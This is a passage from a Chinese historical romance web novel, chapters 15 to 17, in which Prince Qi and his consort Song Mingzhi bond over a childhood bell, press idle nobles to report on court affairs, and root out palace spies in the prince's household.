宋明稚放下手中慕厌舟抄了大半的《治世方略》,缓缓地向他吐出了一句:“我想,殿下近来,也应该了解一些时事了。” 慕厌舟阖上眼,绝望道:“……我就知道!” …… 原主的父亲,是述兰的“三大郡王”之一。 他生前曾经多次带领述兰使团,来到中原,而原主小的时候,曾经跟随他一道来过崇京城的事,也与“秘密”这两个字没有半点关系。 不同于齐王身中蛊毒之事。 原主儿时的事,不但没有什么瞒着他人的必要。 甚至宋明稚还打算,在找到他后,便代替原主好好向他道谢。 阿琅这一趟并没有背着周围人。 不多时,他便乘着王府的马车,带着那只铃铛,回到了王府。 “公子——”阿琅小跑着跨入了酌花院中,他远远地便朝着树下道:“稚公子,金店的老板已经打听出来了!” 本朝的建筑大多采用“明厅暗房”的布局,且屋内往往仅开有前窗。因此,即便是在白天,很多时候也需要点着蜡烛,才能够看书、写字。 自上一世葬身火海起,宋明稚便有些畏火。 他白天常常坐在窗畔,或者就像现在这样,独自在酌花院中晒太阳。 宋明稚放下了手中的书,抬头朝着阿琅问道:“老板是怎样说的?” 与此同时—— 酌花院角落处,一名被慕厌舟增派到这里来,暗中监视宋明稚的守卫,也默默地将视线落了过来。 此时跑得上气不接下气的阿琅,正扶着树道:“老板,老板……” 宋明稚并没有来自原主的记忆,因此,他虽然也有些好奇,当初救了原主的那人究竟是谁,但是并没有太过激动,而是先叫人送上了茶盏,并道:“别急。” “是,公子。” 阿琅接过了茶水,一口喝掉。 接着,便迫不及待地走上前,将那只铃铛交回宋明稚的手中,气喘吁吁地开口道:“金店的老板说他辗转托人,找到了当初制作这只铃铛的工匠……” 阳光穿过桃花的枝丫,化作碎金倾洒一肩,宋明稚点了点头:“工匠处可有线索?” “线索倒是有,不过我有一些没听懂……”阿琅挠了挠脑袋,一脸困惑地开口道,“他说,这只铃铛是柳家的人定的。” 接着,低头看向宋明稚,好奇道:“公子,‘柳家’是什么意思呀?” 宋明稚蓦地攥紧了手中那只铃铛。 他不禁喃喃道:“柳家……” 这无人不知无人不晓。 宋明稚虽然自带一身贵气,但是相处了一阵子后,酌花院的侍从逐渐发觉,他并没有什么“王妃”的架子。 ——与此同时,阿琅的话,也日渐多了起来。 他平日里没事做的时候,就会与侍从们凑在一起闲谈、聊天。因此,阿琅的话音刚一落下,前来送茶的侍女,便立刻开口朝他解释道:“阿琅公子有所不知,大楚的‘柳家’说的便是我们贤平皇后的母族!” 柳家发迹于前朝,曾随大楚开国皇帝一道征战四方,有实打实的从龙之功。而后,齐王殿下的外祖父,又出兵襄助当今圣上夺得皇位,柳家也因此显赫一时。 故而,在大楚只有一个“柳家”。 侍女的话音刚落,酌花院内突然一静。 藏在酌花院墙角,负责监视宋明稚的守卫,瞬间便竖起了耳朵—— 只有阿琅完全没有意识到发生了什么。 他“哦”了一下,继续道:“那个工匠说,公子手里的这只小铃铛,好像是柳家的某个人……给‘家中的后辈’送的一堆生辰贺礼之一。” 柳家虽然名声显赫,但是人丁稀薄,齐王殿下没有任何表亲。 所以说,那工匠口中的后辈…… 宋明稚喃喃道:“齐王殿下。” 不,不会这么巧吧? 酌花院内的众人早就从阿琅的口中,听过了这件事,侍女不由惊呼了一声,激动道:“原来王妃与殿下,还有这样的渊源!” 酌花院另一边—— 负责监视宋明稚的守卫,猛地一下,便睁大了双眼。 太好了。 殿下如此喜欢王妃。 知道此事,一定会开心的…… 他的心脏突突地跳了两下,转过身便要去徽鸣堂里,将此事告诉慕厌舟。 然而几息过后,守卫的脚步却突然一顿。 不对啊……! 差一点忘记,殿下他是装的了。 15、第十五章 阿琅喃喃道:“原来如此……” 他忽地转过身看向宋明稚。 自己就说有哪里不太对劲! 虽说公子的荣华皆系于齐王一身。 但是到了齐王府以后,公子对齐王实在有些过分上心,不但不让自己说他的坏话,甚至于……还耗费心神,在意起了他的身体。 想到这里,阿琅不禁恍然大悟道:“公子,我明白了!” 此时的宋明稚,还没有从方才那个消息中缓过神来,阿琅已经先他一步道:“公子莫不是到了崇京之后,便隐隐约约想起了点什么?难怪您洞房那一晚,会对我说出那番话来。” 公子向来很敬重当年救他的那人,一直将那只铃铛留到了今日,甚至就连逃亲的时候,都在因此而犹豫。如果自己是稚公子,的确也不会愿意相信,时隔多年从前的恩人,竟然会变成一个闻名于天下的“朽木。” 难怪啊…… 一旁奉茶的侍女已听得泪水盈眶。 阿琅激动地转过身,朝宋明稚道:“公子,您看我说得对不对?” 宋明稚并没有原主的记忆,更别提想起什么。 更何况原主之所以会逃亲,就是因为他并没有将当年的那一位“公子”与齐王殿下联系在一起。 但是宋明稚不能实话实说。 他已经意识到…… 如果齐王殿下,真的是在韬光养晦。 那么洞房当晚,自己说的那一番话,无疑是一把掀了殿下的底…… 怎会如此! 宋明稚抬起手,拂去了坠在他睫毛上的落花,艰难答道:“……对。” 事到如今,自己似乎只能认下来了。 不同于慕厌舟,宋明稚前后两辈子,都没怎么说过瞎话:“我…在述兰的这些年里,一直记挂着当年那位公子,有缘再见,我只是不想看到他……消极懈怠下去罢了。” 他的语气略有一些古怪。 宋明稚闭了闭眼道:“所以,才会希望殿下读书、进取。” 今天的阳光似乎格外烫。 还没有在院子里待多久,宋明稚的面颊,便被晒得烧痛了起来。 宋明稚的谎,最多就说这么多。 他一边说,一边朝着屋内而去:“好了,都是一些小事,你们也不必多问了。” 话音落下,人已经回到了房中。 酌花院中。 阿琅还在原地不断地恍然大悟着。 侍女则端起茶盘,远远地看向了徽鸣堂所在的方向:世人都说,殿下这桩婚事是乱点鸳鸯谱,谁能想到他们二人其实是郎有情妾有意? 想来要不了多久。 待二人将话说开,就能够花前月下,两情缱绻…… 嘿嘿。 …… 慕厌舟拿着张丝帕。 随手擦拭着月季叶上那层薄薄的灰尘。 在他的身后,自酌花院中而来的守卫,一路狂奔到了此处。 行完了礼后,便“噼里啪啦”地便将他方才听到的所有话,还有这几日他了解到的,有关于那只铃铛所有事,一字不漏地说了出来。同时,还不忘添油加醋道:“除上述以外,属下清清楚楚地看到,王妃他回屋的时候,脸上还明显红了大一截!” 继而,总结道:“看上去,像是有些不好意思……” 慕厌舟动作一顿。 还不等他说什么,一旁的元九已经不由自主道:“铃铛?” 他正打算开口质疑。 却听慕厌舟淡声道:“当年确有此事。” 十一年前的上元节,自己的确曾在崇京城里面,捡到过一个自西域而来的小孩,顺手将他送回驿馆,并解了一只金铃给他…… 元九:“!!!” 难道王妃他真是因此,这才会对殿下…… 慕厌舟缓缓蹙眉,放下了手上的丝帕,笑道:“蠢钝。” 月季的薄叶正在光下轻颤。 慕厌舟折去枯枝,随口道:“美人天生就懂如何惑人。” 元九瞬间出了一身的冷汗。 慕厌舟丢下枯枝,一边仔细地端详着面前这株月季,一边随口道:“派人下去,查清楚当年的那件事,看他是否冒名顶替,如若是真,再说后话也不算迟。” 元九立刻行礼道:“遵命,殿下!” 也对,殿下当年不过是顺手相助,并没有瞒着任何人,若有人想要借此做些文章,那也不是完全没有可能。如今真假未辨,的确不应该对此太过上心,耽搁了做其他的事。 不愧是殿下啊。 元九与守卫一道,退出了徽鸣堂。 慕厌舟轻阖上眼,坐在窗畔,仔细回忆了起来。 十一年前,崇京,上元节…… - 次日晌午。 煦风摇响了檐下的护花铃。 春燕南归,衔泥筑巢,偶尔发出三两声的脆鸣。 齐王府内,仍有药香未散。 用过午膳,宋明稚坐在酌花院内,盯着慕厌舟喝完了汤药。正要起身时,慕厌舟忽然抬起手来,轻轻地攥住了他的手腕。末了,认真道:“爱妃,十一年以前的事,你怎么还记得那么牢啊?” 宋明稚手腕一顿。 他早已想好答案:“人生之中第一次离开述兰,自然记得清楚。” 慕厌舟垂眸笑了一下:“好吧,不过……你可千万别因我曾救过你,就对我抱什么奇怪的希望。这只能说,我是一个好人,可证明不了我是个贤才。” 桃花树下,宋明稚那双眼睛忽然多了几分色彩。 他轻轻地朝慕厌舟摇了摇头。 继而无比认真地朝对方看去:“但是如今的天下,缺的就是好人。” 慕厌舟:“……!” 他似乎突然可以了。 慕厌舟忽地一下便站起身来,轻轻地拍了拍宋明稚的肩膀道:“好,有爱妃这句话夸奖……” “我现在,就去听朝堂大事。” …… 几辆马车穿过了坊市,驶入齐王府内,随后便有侍从快步上前,将车内的人迎了下来:“几位公子,这边走,齐王殿下邀各位公子,到徽鸣堂来!” 走在最前方的尤建安,摇了摇他手中的花鸟折扇,继而压低了声音,朝身边的几名同伴道:“你们说……齐王殿下为什么今天突然叫我们来王府。如果我没记错的话,殿下上回叫我们来府内喝酒,可是一个多月以前的事了。王妃不是不让他喝酒吗?怎么今日又……” 廖文柏也凑上前道:“难不成,殿下终于醒悟了!” 话音落下,几人脚步立刻一顿。 “有道理!”尤建安连连点头,并朝着他低声道,“谁会愿意整天被旁人管着啊?就算他是天仙,我也就能忍三天两天,再多可受不了了。” “更何况……”廖文柏讳莫如深,“前几日醉影楼的那件事,殿下怎么可能不计较。” 两人对视一眼,瞬间便达成一致: 齐王殿下一定是情场失意,来找知己好友,一起喝酒解闷的。 这事简单啊! 说话间,几人已走到了徽鸣堂内。 继而被元九安排着坐在了长桌边,同时送上了一整套的……笔墨纸砚? 终于有人意识到了不对:“等等,这是什么东西?” 尤建安也拿起了一支笔,一遍晃,一边朝元九道:“你这是什么意思?不给我们倒酒,拿这些东西过来做什么。” 说着,便抬手指了指桌上的笔墨。 闻言,元九立刻走上前,行礼道,“回公子的话,这些都是齐王殿下,专门为各位公子准备的,”他笑了一下,仔细解释道,“王妃昨日让殿下了解些朝堂时事,可惜殿下的身边和府中,实在是没有人可以问。于是殿下便想,让各位公子过来,将平日里在家中听父兄说的话,挑些有用地写在纸张上,让他看一看。” 狐朋狗友:“……” 殿下召集大家来府上,就是做这种事情的? 往常他们来府上的时候,慕厌舟都在徽鸣堂。今日,却始终没有见到他的身影……廖文柏的脑海中,突然涌出一阵不妙的预感,他不自觉问:“那殿下去做什么了?” 元九笑了一下,解释道:“齐王殿下他去酌花院,陪王妃一道用午膳了,稍后便回。” 徽鸣堂内一片哀鸿遍野—— “这明明是殿下的任务!” “凭什么他自己陪王妃,让我们来写这些东西?放我们走——” “我家中还有父老妻儿要照顾,放我回家!” “要不然还是叫我爹来吧……” 然而—— 话音还未落,守卫已合上了院门。 将想要逃跑的几人,锁在了屋内。 天杀的,以权压人! …… 一炷香的时间过后。 崇京城内春临大地。 徽鸣堂中,众人反抗无果,正愁眉苦脸、奋笔疾书。 不知道过了多久,耳边终于传来了一阵“叮叮当当,叮叮当当”的脆响。 这又是什么动静…… 坐在门口处的尤建安,不自觉抬起了头,朝着院内看去: 一袭青衣的齐王殿下,不知道什么时候走到了徽鸣堂外,此时他正倚在门口那棵桃花树下,随手……晃着一只铃铛? 视线相对的那一刻,慕厌舟终于站直身,缓步朝着徽鸣堂走了过来,朝几人问道:“都写完了吗?” 与脚步相伴的,还有一阵“叮当”脆响。 “殿下!” “齐王殿下您终于来了!” 这群纨绔平日最不愿做正事。 父兄们在饭桌上说的那些话,更是左耳朵进右耳朵出,回忆半晌,几乎已耗干了众人的精力,此时他们只想找一些别的什么事情做。 尤建安的视线,不由随着那阵叮当脆响,落在了慕厌舟的手指间—— 此时他正随手摇着铃铛。 那铃铛似乎是铜包金的,看样子是崇京城内最常见的那种,戴在小孩腕上的响铃。铃铛上面的花纹,已不知在何时磨损了大半,看着应当有些年头了。 殿下他拿个铃铛做什么? 尤建安一向都心直口快,刚想到这里,他便下意识问了出来:“殿下手里拿的是什么东西?” 慕厌舟缓缓坐在了桌边。 见到他们写得愁眉苦脸,终于大发慈悲道:“都写累了吗?” “累了累了!” “殿下,您看要不我们就写这么多吧?” “对对,够了。” 慕厌舟随意朝着纸上瞥了一眼。 他摇头道:“才几行字,一会再多写点。” 接着,垂眸看向众人:“现在,先活动活动,我们说点别的。” 众人眼前一亮:“说什么?” 慕厌舟坐在桌边,随手给自己倒了一盏热茶,继而摆了摆手,示意众人凑上前来:“你们知道我手上的是什么吗?” 尤建安呆呆道:“铃铛啊!” 慕厌舟抿了一口茶:“这只铃铛,是我过九岁生辰的时候,收到的礼物,它原本是一对。你们猜,除了我手上这一只,另外一只它现在何处?” 说着,又抬起手来轻轻摇了两下。 尤建安还是不明白:“它在何处?” 他一边说一边抬手,试图去摇一摇那只铃铛。 而廖文柏心中那阵不祥的预感,却在这一刻,落在了实处。 他不由得开口问:“该,还不会是在王妃那里吧?” “猜对了——” 慕厌舟的眼前瞬间一亮。 他拍开了尤建安的手掌:“别乱碰。” 元九走上前,为众人送上了茶盏。 慕厌舟完全没有问问他们有没有兴趣的意思,他轻轻地摇了摇手中的铃铛,眯起眼睛,自顾自道:“你们是不是好奇,那只铃铛,是怎么到王妃手中的?” 廖文柏挣扎道:“不——” 说着便要起身,逃出此地。 慕厌舟笑了一下,面不改色地将人摁了回来。 继而,闭上眼轻声道:“既然好奇,那我便从头说起。那是整整十一年前,崇京的上元节……” 16、第十六章 认识这么多年来…… 众人头回见到慕厌舟如此认真的模样。 他倚坐在木椅上,唇角还噙着一抹笑,此时,正悠悠道: “……那年阿稚的父亲,带着述兰国的使团,来中原商讨通商一事,他也跟着一道来了崇京。彼时正是上元佳节,崇京城内比肩接踵,阿稚一不小心,便在赏花灯的时候与家人走散。我见到他的时候,他已被一个人牙子带到了街角。” 慕厌舟说到这里,突然顿了一顿。 接着,阴恻恻地补了一句:“说不定会被卖到醉影楼去,我早就说,醉影楼的那个老板,定不是什么好人。” 尤建安默默道:“可是醉影楼里面都是姑娘……” 慕厌舟睁开眼,将他白了回去:“少说两句。” 春风裹着落花飘进了徽鸣堂中。 慕厌舟抬手,接过一瓣,笑道:“路见不平,本王自然要拔刀相助,当时便让身边侍卫,将那人牙子扭送到了官府。然后牵着他,将他送到了驿馆。” 他停顿片刻,遗憾道:“可惜,当时爱妃还不怎么会说官话,他虽然嘟囔了一路,但我只听懂,他说自己是从述兰国来的……” 尤建安呆呆地点了点头:“所以齐王殿下当时也没能知道他的名字。” 怪不得两人现在才相认…… 慕厌舟自然道:“是啊。” 见慕厌舟说到这里便不再继续。 听了一半的尤建安忍不住追问:“所以,王妃手中的铃铛又是从何而来的?” “哦,这个啊,”慕厌舟摇了摇手中的铃铛,含着笑道,“是当时随手解下来系给他的,只要戴上铃铛,就走不丢了。” 中原有给孩童系铃铛的习俗,既有“避邪保平安”的一丝,还能借助声音,判断他的大致位置,防止孩童不慎走丢。 想到这里,慕厌舟忽然摇着头笑道:“你看,直到现在,阿稚行走动作时,仍没有什么声音。” 这群纨绔公子平日里除了正事不做,干什么都异常起劲。听到这里之后,也不知究竟是谁,下意识多问了一句:“然后呢?” “然后……” 慕厌舟收起了铃铛,缓缓地坐直了身,一口气道:“然后……自然是,爱妃将本王放在心中,记挂多年。为了我们能长长久久、恩恩爱爱,你们快回忆近来的朝堂大事,有多少就给我写多少啊。” 说着,便将蘸满墨汁的毛笔,塞到了他的手中—— “若是感动,就动手吧。” 图穷匕见! 众人不禁哀号一声。 如丧考妣地提起笔,被慕厌舟注视着坐回原位,绞尽脑汁,回忆了起来。 - 戌时,月上柳梢头。 慕厌舟终于发慈悲,将众人打包,送回了家中。 继而派人去酌花院,将宋明稚接到了书房里来,邀请他来检查自己今日的“功课”如何—— 宋明稚轻轻抬了手,触向了徽鸣堂的屋门,还没来得及将它推开,便听耳边传来了一阵“叮当”脆响——徽鸣堂前那一扇雕花漆门上面,不知道什么时候被人挂了一只金灿灿的铃铛。 ……大楚什么时候多了这样的风俗? 还不等宋明稚确定,慕厌舟的声音,已从徽鸣堂的那头传了过来:“近来,朝堂上最大的事件,便是户部的受贿案……” 宋明稚:“!” 他下意识转过了身,朝着屋内看去。 ——徽鸣堂东梢间的莲纹地砖之上,宣纸已堆积如山,每一张纸上,都密密麻麻地写满了字。此时慕厌舟正倚靠在桌边,借着蒙蒙的烛火,随手翻看着手边的纸张。 同时,随口朝宋明稚道:“父皇好像很生气,将过阵子的万寿节,都忘到了一边去。” 说完,便放下手中的纸,朝宋明稚笑了起来。 这群纨绔虽然不学无术,不过没有一个是白丁。 他们有的在朝挂着闲职,有的仍在被逼着入仕,最差的……也在家人的耳濡目染之下,听来了不少有关朝堂的大事小情。今日,这几人不约而同地在纸上写了同样的一件事。 慕厌舟随手拉出了一条凳子:“坐。” 宋明稚也没有同他客气,坐下之后,便问他:“可是牵连杜大人受罚那件事?” “对,”慕厌舟放下了手中的纸张,总结道,“父皇近来正在彻查吏部受贿案,这事……听他们几人的意思,似乎是一桩冤案。” 宋明稚随手拿起了一张纸:“这样啊……” 接着,一边假装翻阅一边仔细回忆了起来。 历史上,杜大人回家之后,躺了还没几日,便因为伤情恶化,而不治身亡。奸党则紧随其后,将自己的人推到了‘户部尚书’的位置上,并毁尸灭迹,彻底将这桩冤案压了下来。 要不是慕厌舟在登基以后,第一时间彻查此事,处理相关人等,它或许会就此被掩埋在历史的尘埃下,再也没有人记得。 慕厌舟放下了手里面的纸张,状似随意道:“杜大人真是厉害,如今他的伤还没有养好,已急着回户部报到了,说是要查清楚此事才能放心回家躺着。” 宋明稚翻纸的动作随之一顿。 那日在醉影楼里看到的场景,瞬间便浮现在了他的脑海之中——怪不得冯荣贵急着为自己梳络关系。 他的危机感并没有出错: 奸党的确早已做好准备,卸磨杀驴。 历史上,慕厌舟登基彻查此事之时,他们不仅将黑锅,全都扣在了冯荣贵一个人的头上,甚至还曾暗杀冯荣贵,试图制造他畏罪自.杀的假象。 月光穿过窗缝落在了宋明稚的脸上。 照亮了他雾蓝的双眼,与思索时微微蹙起的眉。 慕厌舟发现…… 相比起观察自己,宋明稚这个疑似奸细,今日似乎更加在意朝堂上的事。 他缓缓用手指在桌上轻点了两下,突然开口道,“朝堂之事果然很复杂,”继而,凑到宋明稚的身边,感叹道,“所以……果然还是躺在家里面,少掺和一点为好。” “你说对吧?” 这样的话,如今刺激不到他一点—— 宋明稚缓缓低头,眼中闪过一丝笑意。几息后,竟然赞同道:“殿下说得对。” 慕厌舟不可置信:“说,说得对?” 他立刻站直身来,抽走了宋明稚手中的那张纸:“宋明稚你怎么这么快就不在意我了,怎么,你也觉得我没希望了吗?” 宋明稚抬起了头。 月光落在他眼底,蓝蓝的湖水中,突然多了一圈又一圈的涟漪:“看来殿下已不排斥了解朝堂之事了,那么今天晚上……殿下与其闲着,还不如想想若此事真是冤案,后续又会如何?” 说着便从椅子上站了起来。 慕厌舟瞪大了眼睛道:“哦,我懂了——”他恍然大悟道,“你这是激将法,对吧?” 宋明稚顾左右而言他,不去看慕厌舟的眼睛:“殿下,时间已经不早了。” 此时,明月早已高悬。 宋明稚不想再多耽搁慕厌舟的时间,说完正事,便欲向他行礼退出徽鸣堂。怎料,他还没有来得及开口,耳边竟突然传来了一阵“叮当”的轻响声…… 虽只有一瞬便消失,但还是没能逃过宋明稚的耳朵。 这是什么动静? 宋明稚下意识蹙眉,朝着门外看了过去—— 月光照亮了绢纱窗,窗外有一道黑影在他转身的那一瞬间闪了过去。 对方的身形极其轻巧,虽然不能说是一等一的高手,但是与一般的暗卫已无两样。 身为暗卫,宋明稚对此再有经验不过,不过是在刹那之间,他便意识到……方才有人在门外,想要偷听自己和齐王殿下在说什么! 但那人显然没有想到,慕厌舟今日在门上挂了一只铃铛,他虽然发现得很及时,到底还是不慎触了一下。 慕厌舟目光一晦:“怎么了?” 话音未落,宋明稚已经走到了门口处。 ——此时,那人已经消失得无影无踪,显然是极其了解王府内的院落、布局。 齐王殿下似乎没有听到屋外的动静? 见状,宋明稚也没有打草惊蛇,“……我方才突然听到了一阵铃声,”他轻轻地将手从门框上放了下来,抬头看向门顶,试图转移话题道,“殿下为什么要在这里挂只铃铛?” “哦,八成是风吹的吧。” 慕厌舟抬手摇了摇门上的铃铛。 并随着“叮叮当当”的声响道:“我发现,我小的时候,似乎还挺聪明的。” 宋明稚不明所以:“……聪明?” 慕厌舟笑了起来:“谁让你走路一直没有声音,有了铃铛,要是你来找我,我就能听到了。” 这时,忽有一阵夜风,吹响了门上的那只铃铛,慕厌舟的话音还没有落下,又随着“叮叮当当”的声响,不知道从哪里变出来了一只小铃铛拈在指间:“之前的那个铃铛旧了,这是我今日找人现打的。” 金灿灿的小铃铛上,还系着一根红绳,随手一摇,便会发出不大不小的轻响。 ——既不刺耳,又能提醒人它的存在。 宋明稚不自觉向后退去。 然而,还没有退出门外,手腕便落在了慕厌舟的掌心里:“这个很适合爱妃这种走路没有声音的人。” 话音落下的同时,他已轻轻将铃铛系在了宋明稚的腕上。 “怎么样,这个礼物不错吧?” 宋明稚晃了晃手腕,欲言又止—— 这种小铃铛,怎么可能防得住自己? 回到酌花院后随便塞一点棉花就好了。 宋明稚从容答道:“谢殿下的礼物,我会收好的。” 说着,便欲向他行礼,退出徽鸣堂。 慕厌舟看出了他想做什么:“等等,先别着急——” 宋明稚不解道:“殿下?” 慕厌舟仍然没有松开手。 他轻握着宋明稚的手腕,看着对方的眼睛道,略为无奈道:“你现在可没有小的时候有礼貌。” 宋明稚不由一顿:“……礼貌?” 自己方才不是已经谢过殿下了吗,难不成要回礼? 夜风吹下一朵桃花,坠在了宋明稚的睫毛之上。 不等他想清楚该如何道谢,慕厌舟已轻叹一声,垂眸看向他的眼底:“你怎么不像小时候一样。” “……说谢谢哥哥?” 17、第十七章 宋明稚的睫毛,轻轻地颤了一下。 桃花飘飘悠悠,坠在了地上,宋明稚趁着眨眼的那一瞬间,迅速警惕起来,整理思绪—— 他虽然没有来自原主的记忆,但是他了解:作为述兰贵族,原主大概六七岁的时候,才会开始学习中原官话。按照时间推断,那年的他,在走失且慌乱的状态之下,几乎不可能说出如此复杂的一句话。 宋明稚笑了一下,轻轻地抬起了眼帘,镇定道:“殿下听得懂述兰话?” 慕厌舟蹙了蹙眉:“……自然听不懂。” 宋明稚随手摇了摇铃铛,抬眸看向他:“那殿下怎么知道,我小的时候都说了什么。” 徽鸣堂外,静了几息。 片刻过后,慕厌舟忽然轻声笑了起来,摇着头道,“可惜,看来阿稚当年是没有说过了……”同时,抬手替宋明稚拂落了肩上的残红,“那就先欠着吧。” 他顿了顿道,不讲理道:“现在,共欠我两次。” 说完,终于叫来了侍从。 笑着在宋明稚的抗议下,将他送向了酌花院,自己则抬手戳了戳门上的铃铛,轻笑着朝屋内而去: “时间不早,睡觉吧——” …… 夜风吹过小院,拨动了檐下的铃铛。 宋明稚在“叮叮当当”的响声之中,回头看向徽鸣堂。 他确定方才那道黑影,绝不是错觉。 所以究竟是谁,才会在深更半夜里,趴在徽鸣堂门外,关注齐王的一举一动呢…… 夜风慢慢地停了下来 叮叮当当的声响,正逐渐散去。 皇宫大殿内的那个人,忽地一下,出现在了宋明稚的脑海之中。 - 齐王府内的下人们发现: 自从成了婚以后,慕厌舟便再也不像从前一样,整日随那群纨绔一道走马斗鸡、把酒持螯了。 虽有些不情不愿,但是在王妃的严格“督促”之下,他总算有了些许做正事的迹象,连带着整日围在他身边的那群纨绔的身上,也隐约透露了出些许的正经气息。 比如,再来齐王府里的时候,众人谈论的话题,终于从吃喝玩乐,变成了朝廷要务。 ……虽然大部分都是被迫的。 崇京的天气一天天暖了起来。 阳光晒得院中桃花,微蜷着随春风飘荡,远远看去好似一层雨雾。 清晨,徽鸣堂东间门窗大敞。 慕厌舟身边的那群纨绔公子,大多都对朝堂之事毫无兴趣。但是,其中也不乏喜欢高谈阔论,一瓶子不满,半瓶子晃荡的—— 如今,可算被他逮到了机会。 窗边那条月牙凳上,崇京城内某个纨绔,放下了手中的那只茶盏,说书一般,眉飞色舞道:“我爹说!杜尚书伤还没有养好就杀回户部,一口气就将什么将奏折、公文翻了个底朝天。查来查去,户部那件事,似乎还真是一桩冤案……” 说到这里,他突然端起茶盏,喝了一口,继而压低了声音,朝慕厌舟道:“小道消息,好像是已经查到了……一个叫‘冯荣贵’的小官头上。” 此时—— 宋明稚乘着轿辇,来到了院外。 守在院前的侍从,还没来得及上前行礼,便被宋明稚打断:“不必多礼。” 话音落下,他便独自穿过前院,走到了徽鸣堂的正厅之外。他不仅听到了那个纨绔的话,还看到……有一名身穿碧色长衫的侍从,正端着一壶茶水,站在书房外的那面隔断之下。 那名侍从的神情格外紧张…… 看上去就像是在偷听屋内两人的谈话。 今早,徽鸣堂并未关门。 宋明稚抬头看了眼门上的铃铛,接着,便轻悄悄地迈过了门槛,走到了书房外。停顿几息,方才突然开口,冷冷道:“你站在这里做什么?” 宋明稚走路,没有半点声音。 侍从听得太过专心,更是完全没有发现他的到来。 受惊的侍从猛地睁大了双眼:“!” 他的手重重抖了一下,白瓷茶壶随之坠地,生出了一声脆响,彻底打断了书房内那纨绔还没有说完的话。 纨绔被吓了一跳:“外面的人是谁?!” 说着便“腾”的一下,自月牙凳上面弹了起来,他不由将手按在心口,朝着书房外面看了过去。 见状,慕厌舟也缓缓蹙眉,自椅子上站了起来。 他随便扫了那名侍从一眼。 随后,便透过隔断的缝隙,将视线落在了宋明稚的身上,唇角边也忽然多了一丝笑意。 书房门外—— 侍从“扑通”一下跪在了地上。 他一边朝着书房内外行礼,一边手忙脚乱地清扫起了满地的碎瓷: “王妃恕罪!” “都怪奴才笨手笨脚——” 宋明稚出现得太过猝不及防。 冷冷的一声,瞬间便让这个侍从吓破了胆,条件反射地为自己辩解了起来。 然而,人说得越多,便越是容易暴露自己的惊慌:“奴才,奴才方才只是,只是不敢打扰殿下和乔公子说话,所以,这才一直候在门外。” 宋明稚轻描淡写道:“一惊一乍做什么?” 侍从愣了一下,锋利的瓷片随即从他手指尖划了过去,留下一道深可见骨的伤痕,与一摊猩红的血迹:“没,没有……” 此时,那名纨绔也回过了神来:“是啊,王妃还没说什么呢,你害怕个什么劲啊?” 他长舒一口气,将手从心口处放了下来。 侍从抖如筛糠,“奴才,奴才”了半晌,也没能够说出一个完整的句子来,只知道不停地朝徽鸣堂里的人磕头,说自己绝不是故意的。 清晨的阳光照亮了整间书房。 宋明稚轻轻地眯了一下眼睛,将视线落在了侍从的身上—— 齐王身边的侍从,有一部分,是当年他出宫立府的时候,由那昏君赏赐的。他们在下人之中颇有地位,主要负责照顾齐王的饮食起居。平日里,都混在普通的侍从之中,完全看不出什么不同。 然而自从齐王开始了解朝堂大事后。 其中的一小撮人,便逐渐有些坐不住了…… 除了那天晚上的黑影外,齐王身边几个普通的下人,也开始在暗地里打探他的动向,以及偷听他从朝堂上了解到了什么。 如果自己没有猜错的话,这几个人应当就是老昏君故意安插在王府之中,监视齐王最近有无异动的。 “爱妃,方才没吓着吧?”慕厌舟绕过隔断,走了出来,他看都没看地上的人一眼,便朝宋明稚道,“茶水有没有洒在身上?”说着,便低头看向宋明稚的衣角。 一直到这个时候,不知道守在哪里的其他侍从,方才小跑着来到徽鸣堂内,慌慌张张地拉开了地上的人,俯下身子收拾起了满地的碎瓷来。 宋明稚轻轻摇了摇头道:“殿下,我没什么事,但……” 他一边说一边低下了头。 微蹙起眉,对着地上那个正簌簌发抖的侍从道:“但是近来殿下正在读书,作为下人不但伺候不好,还一惊一乍,耽搁殿下做正事,实在是有一些不应该。” 慕厌舟附和道:“有道理。” 侍从还在发抖:“王妃恕,恕罪……” 刚才还在高谈阔论的纨绔,忽然被冷落到了一边,他忍不住清了清嗓子,朝地上的人道:“你打扰的可是殿下,一个劲地求王妃恕罪有什么用?”说完,立刻转身朝慕厌舟“嘿嘿”了两下。 “殿下,我说得对吗?” 慕厌舟看都没有多看他一眼。 转身便朝宋明稚问:“爱妃,你看应该怎么处理?” 纨绔:“?” 对此,宋明稚早有准备—— 齐王身边的某几名侍从,盯梢的能力,实在是太差。宋明稚几乎没费多大力,便从中揪出了几个,而在这其中最一惊一乍的,当属今天的这个。 宋明稚方才故意吓唬他,等的就是慕厌舟的这句话。 他迅速正色道:“自然是将徽鸣堂内干扰殿下学习的人,全都调到别处去,再换一些手脚利落的,到殿下的身边来。” 慕厌舟恍然大悟:“有道理。” 说着,便一脸遗憾地低下头,看向了地上的那一名侍从:“往后时日……你便去后院里面喂马吧。” 那侍从不由一抖:“是,是殿下……” 话音还没有落下,便被人拖了下去。 齐王府里的侍从大多懒懒散散。 找一个理由,将人清出徽鸣堂,简直再简单不过。宋明稚的视线,慢慢自其余人的身上扫了过去,同时道:“方才那么大的动静,怎么才上前收拾?殿下的身边,不如多换几个人吧。” 慕厌舟微挑了一下眉,轻笑道:“好,都听爱妃的。” …… 齐王府内风声鹤唳。 短短小半天的时间,全府都知道: 徽鸣堂中有人粗心大意,不小心打扰到了殿下读书,被调到了别处。 而王妃也因为此事,生出了调整殿下身边下人的念头。原本平静的齐王府,暗地里瞬间炸开了锅。徽鸣堂内的下人,个个胆战心惊,生怕一不小心,就被调到别处。其他的下人,则在暗中期待着自己能被调到殿下的身边服侍。 在这样的氛围之下,就连元九,也不免担忧了起来:“齐王殿下,王妃他…他虽不一定真是奸细。但是,现在让他重新安排府内的人员,是不是有一些……” 元九停顿了好几息,终于憋出了一句:“太纵容他了?” 且不说王妃做这些,究竟是出于何意。 他只知道王妃最近一阵子的所作所为,实在是有些太过恣意了……虽说殿下正假装对他倾心,的确需要纵容他一些。但若再这样下去,谁知道他会不会做出更加无法无天的事情,甚至于损害殿下利益的事情来? 绣金的花鸟屏风之后。 正摆弄棋盘的慕厌舟,手指不禁一顿。 他停顿片刻,轻笑道:“无妨,先看他折腾。” 此时,慕厌舟也不禁有些好奇…… 宋明稚会调走哪些人,又会将谁送到徽鸣堂来。 见慕厌舟看上去一副不怎么在意的样子,元九愈发着急了起来:“可,可是若给他太大的权力,殿下未来还能拿捏得住他吗?” 慕厌舟随手落下一子,漫不经意道:“如今还没什么必要。” 元九不可置信道:“那以后——” 慕厌舟顿了顿,随口笑道:“等到,以后……想拿捏的时候,自然随时可以拿捏。” 18、第十八章 看到慕厌舟这一副成竹在胸的样子。 